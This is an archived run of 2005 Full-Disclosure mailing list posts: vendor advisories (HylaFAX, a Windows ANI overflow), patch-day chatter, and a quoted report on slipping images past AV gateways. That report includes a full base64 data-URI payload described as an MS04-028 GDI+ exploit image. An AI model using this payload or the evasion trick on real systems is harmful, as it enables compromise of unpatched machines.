Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/0e333f63/attachment.bin From koon at gentoo.org Tue Jan 11 16:34:44 2005 From: koon at gentoo.org (Thierry Carrez) Date: Tue, 11 Jan 2005 17:34:44 +0100 Subject: [Full-Disclosure] [ GLSA 200501-21 ] HylaFAX: hfaxd unauthorized login vulnerability Message-ID: <41E40024.50504@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-21 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: HylaFAX: hfaxd unauthorized login vulnerability Date: January 11, 2005 Bugs: #75941 ID: 200501-21 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== HylaFAX is subject to a vulnerability in its username matching code, potentially allowing remote users to bypass access control lists. Background ========== HylaFAX is a software package for sending and receiving facsimile messages. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-misc/hylafax < 4.2.0-r2 >= 4.2.0-r2 Description =========== The code used by hfaxd to match a given username and hostname with an entry in the hosts.hfaxd file is insufficiently protected against malicious entries. Impact ====== If the HylaFAX installation uses a weak hosts.hfaxd file, a remote attacker could authenticate using a malicious username or hostname and bypass the intended access restrictions. Workaround ========== As a workaround, administrators may consider adding passwords to all entries in the hosts.hfaxd file. Resolution ========== All HylaFAX users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/hylafax-4.2.0-r2" Note: Due to heightened security, weak entries in the hosts.hfaxd file may no longer work. Please see the HylaFAX documentation for details of accepted syntax in the hosts.hfaxd file. References ========== [ 1 ] CAN-2004-1182 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1182 [ 2 ] HylaFAX Announcement http://marc.theaimsgroup.com/?l=hylafax&m=110545119911558&w=2 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-21.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/8ba1ec71/attachment.bin From vh at helith.net Tue Jan 11 16:38:09 2005 From: vh at helith.net (vh) Date: Tue, 11 Jan 2005 17:38:09 +0100 Subject: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? In-Reply-To: References: <200501111334.j0BDYZ9f008427@lists.netsys.com> Message-ID: <20050111173809.33d430b8.vh@helith.net> On Tue, 11 Jan 2005 15:13:45 -0000 "Mike Diack" wrote: > Where are they? > Mike Start using OpenSource-OSs then you would be able to write the patches yourself if nobody cares for the security-holes. Microsoft don't care for ANY guy who buy an MS-OS if this guy is no CEO or any other person of any big company. Don't count the patches... Count the security holes they didn't patched. vH -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/a38be3d2/attachment.bin From Mark.Handy at morganstanley.com Tue Jan 11 16:42:56 2005 From: Mark.Handy at morganstanley.com (Handy, Mark (IT)) Date: Tue, 11 Jan 2005 11:42:56 -0500 Subject: [Full-Disclosure] I thought Microsoft were releasing new securitypatches today (11 Jan 2005)? Message-ID: <627CD97A87B56C4BA6EB3FF91912090E02D55D44@NYWEXMB27.msad.ms.com> It is Tuesday. As mentioned before, mid-afternoon EST -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Vincent Archer Sent: 11 January 2005 11:11 To: Mike Diack Cc: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] I thought Microsoft were releasing new securitypatches today (11 Jan 2005)? On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote: > Where are they? > Mike Thursday usually, not tuesday? -- Vincent ARCHER varcher at denyall.com Tel : +33 (0)1 40 07 47 14 Fax : +33 (0)1 40 07 47 27 Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html -------------------------------------------------------- NOTICE: If received in error, please destroy and notify sender. Sender does not waive confidentiality or privilege, and use is prohibited. From larry at larryseltzer.com Tue Jan 11 16:49:52 2005 From: larry at larryseltzer.com (Larry Seltzer) Date: Tue, 11 Jan 2005 11:49:52 -0500 Subject: [Full-Disclosure] I thought Microsoft were releasing new securitypatches today (11 Jan 2005)? In-Reply-To: <20050111161117.GJ214@DAPCVA.da> Message-ID: <200501111649.j0BGnrrs000271@lists.netsys.com> Tuesday, 1PM eastern From nocmonkey at gmail.com Tue Jan 11 16:50:53 2005 From: nocmonkey at gmail.com (Danny) Date: Tue, 11 Jan 2005 11:50:53 -0500 Subject: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? In-Reply-To: References: <200501111334.j0BDYZ9f008427@lists.netsys.com> Message-ID: On Tue, 11 Jan 2005 15:13:45 -0000, Mike Diack wrote: > Where are they? They are probably patching their patch release system. :) Expect them in a couple of hours. Patience grasshopper, patience... ...D From pwicks at oxygen.com Tue Jan 11 16:55:41 2005 From: pwicks at oxygen.com (James Patterson Wicks) Date: Tue, 11 Jan 2005 11:55:41 -0500 Subject: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? Message-ID: <3AF76382C31760418AF0FBFD84F71403664C8B@MI8NYCMAIL07.Mi8.com> It's just 8:55 on the West Coast. Let Bill get a cup of coffee and check his email first! :) -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Vincent Archer Sent: Tuesday, January 11, 2005 11:11 AM To: Mike Diack Cc: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote: > Where are they? > Mike Thursday usually, not tuesday? -- Vincent ARCHER varcher at denyall.com Tel : +33 (0)1 40 07 47 14 Fax : +33 (0)1 40 07 47 27 Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html This e-mail is the property of Oxygen Media, LLC. It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail. From pwicks at oxygen.com Tue Jan 11 17:11:42 2005 From: pwicks at oxygen.com (James Patterson Wicks) Date: Tue, 11 Jan 2005 12:11:42 -0500 Subject: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? Message-ID: <3AF76382C31760418AF0FBFD84F71403664CA8@MI8NYCMAIL07.Mi8.com> The updates are scheduled to come out today. >From Microsoft: http://www.microsoft.com/technet/security/bulletin/advance.mspx Microsoft Security Bulletin Advance Notification On January 11, 2005, the Microsoft Security Response Center is planning to release: * 3 Microsoft Security Bulletins affecting Microsoft Windows. The greatest maximum severity rating for these security updates is Critical. These security updates may require a restart. No additional details about bulletin severities or vulnerabilities will be made available until January 11, 2005. If you have Windows in your environment, you should subscribe to the advanced notification service. Helps you plan for downtime. -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Matt Ostiguy Sent: Tuesday, January 11, 2005 11:07 AM To: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? On Tue, 11 Jan 2005 15:13:45 -0000, Mike Diack wrote: > Where are they? > Mike > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > My experience has been that the 2nd tuesday of the month patch drop occurs late in the day or evening, Eastern Standard Time. Matt _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html This e-mail is the property of Oxygen Media, LLC. It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail. From toddtowles at brookshires.com Tue Jan 11 17:16:33 2005 From: toddtowles at brookshires.com (Todd Towles) Date: Tue, 11 Jan 2005 11:16:33 -0600 Subject: [Full-Disclosure] FW: MS Antispyware makes deal to leave Weatherbug alone Message-ID: <9E97F0997FB84D42B221B9FB203EFA276E8FFB@dc1ms2.msad.brookshires.net> And the money payoff begins.. > -----Original Message----- > From: jaynine [mailto:jaynine_tx at earthlink.net] > Sent: Tuesday, January 11, 2005 6:48 AM > To: Patch Management Mailing List > Subject: MS Antispyware makes deal to leave Weatherbug alone > > I read this rather disturbing article on another tech list. > Pardon me if someone here has already made reference to it. > > --- j9 > > http://netrn.net/spywareblog/archives/2005/01/07/adware-vs-microsoft/ > > 1/7/2005 > Adware vs. Microsoft > > It's started folks. WeatherBug Miffed at Microsoft's Spyware > Classification . > > Microsoft Corp.'s newly released anti-spyware is flagging a > component of AWS Convergence Technologies' WeatherBug > application as a threat to Windows users, prompting an > immediate complaint from the Gaithersburg, Md.-based company. > > It appears this dispute has been resolved already: A > Microsoft spokeswoman said the beta product included a vendor > dispute-resolution mechanism to deal with complaints from > third-party companies. > > In the case of WeatherBug, the dispute-resolution process > paid immediate dividends. On Friday, the company received a > response from Microsoft with the good news that the current > signatures for Minibug will be removed. > > > > > > --- > To unsubscribe send a blank email to > leave-patchmanagement at patchmanagement.org > From michealespinola at gmail.com Tue Jan 11 17:20:03 2005 From: michealespinola at gmail.com (Micheal Espinola Jr) Date: Tue, 11 Jan 2005 12:20:03 -0500 Subject: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? In-Reply-To: <20050111161117.GJ214@DAPCVA.da> References: <200501111334.j0BDYZ9f008427@lists.netsys.com> <20050111161117.GJ214@DAPCVA.da> Message-ID: Nope, its the typically the 2nd Tuesday of the month. Also, they are PST. Myself being EST, I dont expect to see anything until mid-afternoon. MS did pre-announce that there would be a release today. You can verify this on the web site. On Tue, 11 Jan 2005 17:11:17 +0100, Vincent Archer wrote: > On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote: > > Where are they? > > Mike > > Thursday usually, not tuesday? > > -- > Vincent ARCHER > varcher at denyall.com > > Tel : +33 (0)1 40 07 47 14 > Fax : +33 (0)1 40 07 47 27 > Deny All - 5, rue Scribe - 75009 Paris - France > www.denyall.com > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > -- ME2 rss: From prandal at herefordshire.gov.uk Tue Jan 11 17:21:35 2005 From: prandal at herefordshire.gov.uk (Randal, Phil) Date: Tue, 11 Jan 2005 17:21:35 -0000 Subject: [Full-Disclosure] I thought Microsoft were releasing new secu rity patches today (11 Jan 2005)? Message-ID: <86144ED6CE5B004DA23E1EAC0B569B580339F31A@isabella.herefordshire.gov.uk> Looking at http://www.microsoft.com/downloads/results.aspx?sortCriteria=date&freete xt=security should reveal all. The Security Bulletins and KB articles aren't up yet, though. Phil ---- Phil Randal Network Engineer Herefordshire Council Hereford, UK > -----Original Message----- > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf > Of James Patterson Wicks > Sent: 11 January 2005 16:56 > Cc: full-disclosure at lists.netsys.com > Subject: RE: [Full-Disclosure] I thought Microsoft were > releasing new security patches today (11 Jan 2005)? > > It's just 8:55 on the West Coast. Let Bill get a cup of > coffee and check his email first! :) > > > -----Original Message----- > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf > Of Vincent Archer > Sent: Tuesday, January 11, 2005 11:11 AM > To: Mike Diack > Cc: full-disclosure at lists.netsys.com > Subject: Re: [Full-Disclosure] I thought Microsoft were > releasing new security patches today (11 Jan 2005)? > > On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote: > > Where are they? > > Mike > > Thursday usually, not tuesday? > > -- > Vincent ARCHER > varcher at denyall.com > > Tel : +33 (0)1 40 07 47 14 > Fax : +33 (0)1 40 07 47 27 > Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > This e-mail is the property of Oxygen Media, LLC. It is > intended only for the person or entity to which it is > addressed and may contain information that is privileged, > confidential, or otherwise protected from disclosure. > Distribution or copying of this e-mail or the information > contained herein by anyone other than the intended recipient > is prohibited. If you have received this e-mail in error, > please immediately notify us by sending an e-mail to > postmaster at oxygen.com and destroy all electronic and paper > copies of this e-mail. > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From and-bugtraq at doxdesk.com Tue Jan 11 17:29:56 2005 From: and-bugtraq at doxdesk.com (Andrew Clover) Date: Tue, 11 Jan 2005 18:29:56 +0100 Subject: [Full-Disclosure] Firespoofing [Firefox 1.0] In-Reply-To: <41E3F4FD.30609@worldpay.com> References: <41E3F4FD.30609@worldpay.com> Message-ID: <41E40D14.2070904@doxdesk.com> James Greenhalgh wrote: > It also doesn't work on non-Windows or with non-default colours. Didn't work for Windows with default colours for me either; the real dialogue box jumped to the front. I am still on a nightly just before the 1.0 release though, and I believe it to be possible in theory. It could also, I think, be made to work without the 'browsing full screen' requirement. > Really - this is more a window management thing surely? If someone fell > for this, they'd deserve it to be honest. It's window management, yeah, probably applicable to other browsers too, and not nearly as bad as the IE chromeless window stuff because you do get those extra couple of pixels of window edge to clue you in. But it's still not good. The real solution is to force toolbar+menubar+addrtessbar on for all JavaScript pop-ups, at least as a default option setting. This would also fix the recently publicised problem with targeting other sites' pop-up windows for phishing. -- Andrew Clover mailto:and at doxdesk.com http://www.doxdesk.com/ From abaker at gmail.com Tue Jan 11 17:30:17 2005 From: abaker at gmail.com (ASB) Date: Tue, 11 Jan 2005 12:30:17 -0500 Subject: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? In-Reply-To: <20050111173809.33d430b8.vh@helith.net> References: <200501111334.j0BDYZ9f008427@lists.netsys.com> <20050111173809.33d430b8.vh@helith.net> Message-ID: <343561e905011109305f6cd164@mail.gmail.com> Yeah, because everyone is a kernel developer. To answer the original question, the patches are released approx 1pm EST on the 2nd Tuesday of each month. -ASB FAST, CHEAP, SECURE: Pick Any TWO http://www.ultratech-llc.com/KB/ On Tue, 11 Jan 2005 17:38:09 +0100, vh wrote: > On Tue, 11 Jan 2005 15:13:45 -0000 > "Mike Diack" wrote: > > > Where are they? > > Mike > > Start using OpenSource-OSs then you would be able to write the patches > yourself if nobody cares for the security-holes. > Microsoft don't care for ANY guy who buy an MS-OS if this guy is no CEO > or any other person of any big company. > > Don't count the patches... > Count the security holes they didn't patched. > > > vH From devis at easynix.net Tue Jan 11 17:51:16 2005 From: devis at easynix.net (devis) Date: Tue, 11 Jan 2005 18:51:16 +0100 Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and Vulnerable In-Reply-To: <3dc922c3050108105762eef57f@mail.gmail.com> References: <200501081612.j08GCLrs013728@lists.netsys.com> <3dc922c3050108105762eef57f@mail.gmail.com> Message-ID: <41E41214.4040502@easynix.net> Matt Ostiguy wrote: >On Sat, 8 Jan 2005 10:12:23 -0600, RandallM wrote: > > >>I don't think it's going to be free. While doing a small amount of research >>on the "spyware community" I found this text string in the >>GianttAntiSpywareUpdater.exe: >> >> >> > >Doesn't the fact that the executable's name contains a company that no >longer exists (Giant) indicate that perhaps this BETA software will >undergo some changes before its full release as a Microsoft product? >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > > > Buahwuahwuahwuawa ... you have to be gullible to think that M$ will not NOT cash on their own slack coding. Of course they will, now i suspect they even will try to make it go as an added cost for the OEMs, so consummers will pay transparently for one year signatures updates ... as they do/did for OSes. Remember .. they never had a choice in the first place, why would they now ? From jeff.gillian at gmail.com Tue Jan 11 18:16:12 2005 From: jeff.gillian at gmail.com (Jeff Gillian) Date: Tue, 11 Jan 2005 13:16:12 -0500 Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability In-Reply-To: References: Message-ID: Interesting. I tested a number of both Linux and Windows image vulnerabilities that are all by default detected by my IronPort, TippingPoint UnityOne and ISS Proventia appliances. Using the technique you mentioned, they were ignored completely and delivered. Additionally, there are appear to be several mail clients that support that RFC, including Thunderbird so you can obviously target more than just web browsers. Jeff. On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Multi-vendor AV gateway image inspection bypass vulnerability > January 10, 2005 > > A vulnerability has been discovered which allows a remote attacker to > bypass anti-virus > (as well other security technologies such as IDS and IPS) inspection of > HTTP image content. > > By leveraging techniques described in RFC 2397 for base64 encoding > image content within > the URL scheme. A remote attack may encode a malicious image within the > body of an HTML > formatted document to circumvent content inspection. > > For example: > > http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php > > The source code at the URL above will by default create a JPEG image > that will attempt (and fail > without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability. > The image itself is detected > by all AV gateway engines tested (Trend, Sophos and McAfee), however, > when the same image > is base64 encoded using the technique described in RFC 2397 (documented > below), inspection > is not performed and is delivered rendered by the client. > > While Microsoft Internet Explorer does not support the RFC 2397 URL > scheme; Firefox, Safari, > Mozilla and Opera do and will render the data and thus successfully > execute the payload if the necessary > OS and/or application patches have not been applied. > > ## BEGIN HTML ## > > > > src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD// > gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw > /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBwkJ > CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/b > AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy > MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA > AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR > oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl > ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbH > yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA > AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU > QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNk > ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF > xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD// > Z"> > > > > ## END HTML ## > > Solution: > > While AV vendor patches are not yet available, fixes for all currently > known image vulnerabilities are > and have been for several months. If you have not yet applied them, > you have your own > negligence to blame. > > Contributions: > > Thanks to Scott Roeder and Jacinto Rodriquez their assistance in > platform testing. > > Thank you, > > Darren Bounds > Intrusense, LLC. > http://www.intrusense.com > > - -- > Intrusense - Securing Business As Usual > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (Darwin) > > iD8DBQFB4tKesvxTSz2eaa8RAluUAKDmUsM6Hf+U321P/kALTC/rKwoLOwCfaK57 > XT6MWYJOH3FmLfV3B1UfuJA= > =82yy > -----END PGP SIGNATURE----- > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From dsoeder at eeye.com Tue Jan 11 18:20:47 2005 From: dsoeder at eeye.com (Derek Soeder) Date: Tue, 11 Jan 2005 10:20:47 -0800 Subject: [Full-Disclosure] EEYE: Windows ANI File Parsing Buffer Overflow Message-ID: <7E592D2E5A7A274EA35DD0148B50DA01194F8C@av-mail01.corp.int-eeye.com> Windows ANI File Parsing Buffer Overflow Systems Affected: Windows Me Windows 2000 Windows XP (SP1 and earlier) Windows 2003 Overview: eEye Digital Security has discovered a vulnerability in USER32.DLL's handling of Windows animated cursor (.ani) files that will allow a remote attacker to reliably overwrite the stack with arbitrary data and execute arbitrary code. Because Windows animated cursors can be supplied for use by Internet Explorer, this vulnerability affects any applications that use the Internet Explorer component internally, such as Internet Explorer itself, Word, Excel, PowerPoint, Outlook, Outlook Express, and so on, as well as the Windows shell. In the case of Internet Explorer, the user's system will be compromised when the user views a website that shows a malformed ANI file referenced via a style sheet in the HTML file. Likewise, a system may be compromised through Outlook and Outlook Express when the user tries to read an HTML e-mail containing a MIME-encoded malformed ANI file and a style sheet referencing the encoded ANI file, invoked using HTML such as < BODY style="CURSOR: url('cid:xxxx')" >. In the case of the Windows shell (explorer.exe), exploitation occurs when the user opens a folder containing a malformed ANI file. This vulnerability also exists in all obsolete versions of the Windows operating system (Windows 95/98/NT4). Technical Details: The buffer overflow bug exists in a part of USER32.DLL involved in handling ANI animated cursor files. A partial ANI file format is given below: "RIFF" {(DWORD)Length_of_file} "ACON" "LIST" {(DWORD)Length_of_list} "INFO" "INAM" {(DWORD)Length_of_title} {szTitle} "IART" {(DWORD)Length_of_author} {szAuthor} "anih" {(DWORD)Length_of_AnimationHeader} {AnimationHeaderBlock} Generally, the length of AnimationHeaderBlock shoule be 36 bytes (0x00000024). The vulnerability is in the handling of the Length_of_AnimationHeader field. This value will be passed as the length argument of memcpy(), in order to copy the contents of AnimationHeaderBlock, but the value is not checked appropriately. The buffer intended to hold the AnimationHeaderBlock is located on the stack, so we can overwrite the return address and exception handler on the stack and jump into the buffer containing our code. This vulnerability is a separate vulnerability from the ones discovered by Xfocus. Protection: Retina Network Security Scanner has been updated to identify this vulnerability. Vendor Status: Microsoft has released a patch for this vulnerability. The patch is available at: http://www.microsoft.com/technet/security/bulletin/MS05-002.mspx Credit: Yuji Ukai Related Links: Retina Network Security Scanner - Free 15 Day Trial http://www.eeye.com/html/Products/Retina/download.html Greetings: eEye Geneva and UK guys, Retina Japanese edition team, TEX at TEX (hey watzup!!) , Manma Kanrakuzaka - Okinawa Cuisine (Tomato salad tastes good) Copyright (c) 1998-2005 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please email alert at eEye.com for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. From exibar at thelair.com Tue Jan 11 18:46:56 2005 From: exibar at thelair.com (Exibar) Date: Tue, 11 Jan 2005 13:46:56 -0500 Subject: [Full-Disclosure] PoC to be released on 01/20/05 References: <20050111021349.14562.qmail@web61208.mail.yahoo.com> Message-ID: <002c01c4f80d$ee825a40$1214dd80@corp.emc.com> I'm goign to spend double what I usually spend that day, and maybe buy a big screen TV just to piss people like you off.... this is not the list for that crap, take it somewhere else... ----- Original Message ----- From: Some User To: full-disclosure at lists.netsys.com Sent: Monday, January 10, 2005 9:13 PM Subject: [Full-Disclosure] PoC to be released on 01/20/05 This is a PoC by the people! Be sure to do your part. :-) Not One Damn Dime Day - Jan 20, 2005 Since our religious leaders will not speak out against the war in Iraq, since our political leaders don't have the moral courage to oppose it, Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime Day" in America. On "Not One Damn Dime Day" those who oppose what is happening in our name in Iraq can speak up with a 24-hour national boycott of all forms of consumer spending. During "Not One Damn Dime Day" please don't spend money. No one damn dime for gasoline. Not one damn dime for necessities or for impulse purchases. Not one damn dime for nothing for 24 hours. On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target. Please don't go to the mall or the local convenience store. Please don't buy any fast food (or any groceries at all for that matter). For 24 hours, please do what you can to shut the retail economy down. The object is simple. Remind the people in power that the war in Iraq is immoral and illegal; that they are responsible for starting it and that it is their responsibility to stop it. "Not One Damn Dime Day" is to remind them, too, that they work for the people of the United States of America, not for the international corporations and K Street lobbyists who represent the corporations and funnel cash into American politics. "Not One Damn Dime Day" is about supporting the troops. The politicians put the troops in harm's way. Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have died. The politicians owe our troops a plan - a way to come home. There's no rally to attend. No marching to do. No left or right wing agenda to rant about. On "Not One Damn Dime Day" you take action by doing nothing. You open your mouth by keeping your wallet closed. For 24 hours, nothing gets spent, not one damn dime, to remind our religious leaders and our politicians of their moral responsibility to end the war in Iraq and give America back to the people. ==> Please share this email. <== Original sent by: James Wong Marsteller Interactive ------------------------------------------------------------------------------ Do you Yahoo!? The all-new My Yahoo! - What will yours do? ------------------------------------------------------------------------------ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/8aea94e3/attachment.html From kf_lists at digitalmunition.com Tue Jan 11 18:48:41 2005 From: kf_lists at digitalmunition.com (KF (lists)) Date: Tue, 11 Jan 2005 